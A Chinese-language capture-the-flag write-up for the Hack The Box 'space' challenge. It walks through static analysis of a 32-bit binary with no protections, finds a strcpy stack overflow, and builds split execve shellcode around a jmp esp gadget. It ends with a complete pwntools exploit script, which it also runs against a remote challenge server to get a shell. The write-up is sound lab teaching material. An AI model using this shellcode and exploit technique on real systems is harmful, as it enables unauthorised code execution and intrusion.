题目网址：

https://app.hackthebox.com/challenges/space

解压密码为hackthebox

静态分析

checksec space

这个程序什么防护都没开，从上到下依次是

32位程序
部分RELRO，基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie，意思是程序的内存空间不会被随机化
有读，写，和执行的段，意思是我们可以在程序里写入shellcode

现在用ghidra打开程序，按下键盘的i键，选择程序

双击启动，然后都是默认即可

然后找到main函数

undefined4 main(void){undefined local_2f [31];undefined *local_10;local_10 = &stack0x00000004;printf("> ");fflush(stdout);read(0,local_2f,0x1f);vuln(local_2f);return 0;
}

很简单的程序，首先输出字符串’>'后让我们输入内容，但是只允许输入31(0x1f)个字节，会存储在main函数的缓冲区中，这个缓冲区允许存储31个字符，然后调用了vuln函数

然后将局部变量local_2f（也就是我们输入的内容）传递到函数vuln函数中，其中local_2f中的字符串将被复制到vuln函数的局部变量local_12中。使用的复制字符串的函数是strcpy

void vuln(char *param_1){char local_12 [10];strcpy(local_12,param_1);return;
}

这是一种不安全的方法，可以复制的字符串的大小没有限制。由于变量local_2f最多可以存储31个字符，因此变量local_12很容易溢出，可以执行缓冲区溢出并覆盖vuln函数的返回地址

动态调试

用gdb打开程序，为了弄清楚程序的缓冲区偏移量和对齐栈空间，我们在vuln函数的strcpy函数前后下一个断点

b *0x080491c1
b *0x080491c6
r

运行程序，随便输入一些字符串

然后查看一下堆栈

x/40x $esp

执行strcpy函数后再看一下堆栈

n
x/40x $esp

由于我们输入了12个A，还需要6个A字符才能覆盖到返回地址，一共就是18个字符，也就是说，我们需要18个字符以内的shellcode

x32shellcode

通过google，搜索相关的x32shellcode，发现了以下文章：

https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html#putting-it-all-together

再根据这个网站查看哪些寄存器用作sys调用的参数

https://man7.org/linux/man-pages/man2/syscall.2.html

然后简化一下shellcode

xor edx,edx         # \x31\xd2 （设置没有第三个参数） 
push edx            # \x52      （将空字节压入堆栈作为字符串终止符） 
xor ecx,ecx         # \x31\xc9 （设置没有第二个参数) 
push '//sh'         # \x68\x2f\x2f\x73\x68 (push "/bin//sh") 
push '/bin'         # \x68\x2f\x62\x69\x6e 
mov ebx,esp         # \ x89\xe3 （设置 ebx，第一个参数，使用“/bin//sh\0”） 
push 0x0b           # \x6a\x0b 
pop eax             # \x58      （设置使用 sys_execve） 
int 0x80            # \xcd\x80

这个shellcode一共有22个字符，堆栈内最多存放18个字符，不然就会覆盖到返回地址，我们只能通过jmp esp指令来分开执行shellcode，当指令“jmp esp”的地址放置在vuln函数的返回地址位置时，我们可以执行返回地址位置之后的shellcode，shellcode中的一些指令首先被执行，然后再跳回到变量local_12的开头执行我们剩下的shellcode

查询程序内是否存在jmp esp指令

ropper --file space --search "jmp esp"

正好有一个

我们在黄色部分放一部分shellcode，白色部分是函数的返回地址，然后将jmp esp指令放在里面，剩下的shellcode放到红色里

根据我们之前写的shellcode，我们可以将指令“xor edx, edx”和“xor ecx, ecx”放在返回地址的位置之后，因为它不影响堆栈的位置，因为不涉及PUSH操作。然后我们可以把剩下的 18 个字节的 shellcode 放在前面

from pwn import *context.update(arch="i386", os="linux")binary = ELF("./space")jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9"

在vuln函数里，寄存器eax包含变量local_12的地址，因此，我们可以在shellcode中包含“jmp eax”，以使其跳转到位于变量local_12开头的剩余shellcode

call_eax_asm = asm("call eax")	# 2字节exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + call_eax_asm

我们的esp指向的是我们的b”\x31\xd2\x31\xc9”，而剩下的shellcode位于较低的地址，堆栈是从高到低执行的，剩下的push操作会在push发生时覆盖自己。我们需要减去esp的当前值，让它指向远离我们的shellcode位置

sub_esp_0x20_asm = asm("sub esp, 0x20")	 # 3字节exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

PWN

完整的脚本

from pwn import *context.update(arch="i386", os="linux")binary = ELF("./space")# 搜索jmp esp指令的地址
jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))# 回到vuln函数的缓冲区
call_eax_asm = asm("call eax")# 改变栈指针，这样当shellcode压栈时，不会覆盖我们的shellcode
sub_esp_0x20_asm = asm("sub esp, 0x20")exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asmr = binary.process() 
r.sendlineafter(">", exploit)
r.interactive()

执行脚本

设置远程地址，pwn掉服务器

from pwn import *context.update(arch="i386", os="linux")binary = ELF("./space")jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))call_eax_asm = asm("call eax")sub_esp_0x20_asm = asm("sub esp, 0x20")exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asmr = remote("165.227.237.60",31380)r.sendlineafter(">", exploit)r.interactive()

成功获得flag